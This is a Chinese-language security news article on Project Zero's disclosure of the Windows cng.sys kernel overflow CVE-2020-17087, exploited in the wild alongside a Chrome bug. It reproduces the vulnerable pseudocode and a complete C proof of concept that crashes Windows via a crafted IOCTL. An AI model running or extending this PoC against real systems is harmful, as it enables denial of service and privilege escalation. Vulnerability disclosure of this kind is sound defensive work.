10月30日,谷歌 Project Zero 研究团队公布了Windows kernel中的一个0 day 权限提升漏洞情况,研究人员同时还发现了该漏洞的在野漏洞。
漏洞概述
该0 day漏洞CVE 编号为CVE-2020-17087,是Windows Kernel Cryptography Driver(cng.sys)中的基于池的缓存溢出漏洞。具体位于cng!CfgAdtpFormatPropertyBlock 函数中,是由于16位的整数截取引发的漏洞,本地攻击者利用该漏洞可以首先权限提升,其中包括沙箱逃逸。
函数伪代码如下所示:
1: NTSTATUS CfgAdtpFormatPropertyBlock(PBYTE SourceBuffer, USHORT SourceLength, PUNICODE_STRING Destination) { 2: CONST USHORT DestinationSize = (USHORT)(6 * SourceLength); 3: PWCHAR OutputBuffer = BCryptAlloc(DestinationSize); 4: 5: for (USHORT i = 0; i < SourceLength; i++) { 6: *OutputBuffer++ = "0123456789abcdef"[*SourceBuffer >> 4]; 7: *OutputBuffer++ = "0123456789abcdef"[*SourceBuffer & 0xF]; 8: *OutputBuffer++ = ' '; 9: SourceBuffer++; 10: } 11: 12: Destination->MaximumLength = DestinationSize; 13: Destination->Length = DestinationSize - 2; 14: Destination->Buffer = OutputBuffer; 15: 16: return STATUS_SUCCESS; 17: }
如果SourceLength 大于或等于0x2AAB,从第3行的NonPagedPool分配了一个比较小的缓存,那么在第2行就会发生整数溢出。随后在第5-10行的二进制到十六进制的转换中就会发生溢出。
PoC
Project Zero 研究人员还提供了PoC 代码,PoC 可以首先破坏kernel 数据,使得有漏洞的Windows 设备可以在默认系统配置环境下奔溃。研究人员在最新的Windows 10 系统1903版本(64位)上进行了测试。研究人员认为该漏洞影响Windows 7之后的所有系统。
#pragma comment(lib, "ntdll") #include #include int main() { HANDLE hCng = CreateFileA("\\\\.\\GLOBALROOT\\Device\\Cng", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hCng == NULL) { printf("[-] Failed to open \\Device\\Cng: %u\n", GetLastError()); return 1; } printf("[+] \\Device\\Cng opened, handle: %p\n", hCng); // // DataBufferSize overflows when used for allocating memory in // cng!CfgAdtpFormatPropertyBlock as (uint16)(DataBufferSize * 6). // // In this proof-of-concept, an allocation of (uint16)(0x2AAB * 6) = 2 // bytes is requested while 0x2AAB * 6 = 0x10002 bytes are written to it. // CONST DWORD DataBufferSize = 0x2AAB; CONST DWORD IoctlSize = 4096 + DataBufferSize; BYTE *IoctlData = (BYTE *)HeapAlloc(GetProcessHeap(), 0, IoctlSize); RtlZeroMemory(IoctlData, IoctlSize); *(DWORD*) &IoctlData[0x00] = 0x1A2B3C4D; *(DWORD*) &IoctlData[0x04] = 0x10400; *(DWORD*) &IoctlData[0x08] = 1; *(ULONGLONG*)&IoctlData[0x10] = 0x100; *(DWORD*) &IoctlData[0x18] = 3; *(ULONGLONG*)&IoctlData[0x20] = 0x200; *(ULONGLONG*)&IoctlData[0x28] = 0x300; *(ULONGLONG*)&IoctlData[0x30] = 0x400; *(DWORD*) &IoctlData[0x38] = 0; *(ULONGLONG*)&IoctlData[0x40] = 0x500; *(ULONGLONG*)&IoctlData[0x48] = 0x600; *(DWORD*) &IoctlData[0x50] = DataBufferSize; // OVERFLOW *(ULONGLONG*)&IoctlData[0x58] = 0x1000; *(ULONGLONG*)&IoctlData[0x60] = 0; RtlCopyMemory(&IoctlData[0x200], L"FUNCTION", 0x12); RtlCopyMemory(&IoctlData[0x400], L"PROPERTY", 0x12); ULONG_PTR OutputBuffer = 0; DWORD BytesReturned; BOOL Status = DeviceIoControl( hCng, 0x390400, IoctlData, IoctlSize, &OutputBuffer, sizeof(OutputBuffer), &BytesReturned, NULL ); printf("[+] Ioctl sent, Status: %d, OutputBuffer: %zx\n", Status, OutputBuffer); HeapFree(GetProcessHeap(), 0, IoctlData); CloseHandle(hCng); return 0; }
在野利用
研究人员公布该漏洞的原因是研究人员发现了该漏洞的在野利用。此外,该漏洞的利用链需要另一个谷歌刚刚修复的Chrome浏览器0 day漏洞 (CVE-2020-15999)。CVE-2020-15999 0 day漏洞是Freetype font库中的堆缓存溢出漏洞,攻击者利用该漏洞可以实现浏览器内的恶意代码运行。
CVE-2020-17087 0day漏洞利用使得攻击者可以破环Chrome 浏览器的沙箱保护,并在Windows 系统中运行代码,实现沙箱逃逸。
更多技术细节参见:https://bugs.chromium.org/p/project-zero/issues/detail?id=2104
本文翻译自:https://thehackernews.com/2020/11/warning-google-discloses-windows-zero.html https://www.bleepingcomputer.com/news/security/windows-kernel-zero-day-vulnerability-used-in-targeted-attacks/如若转载,请注明原文地址: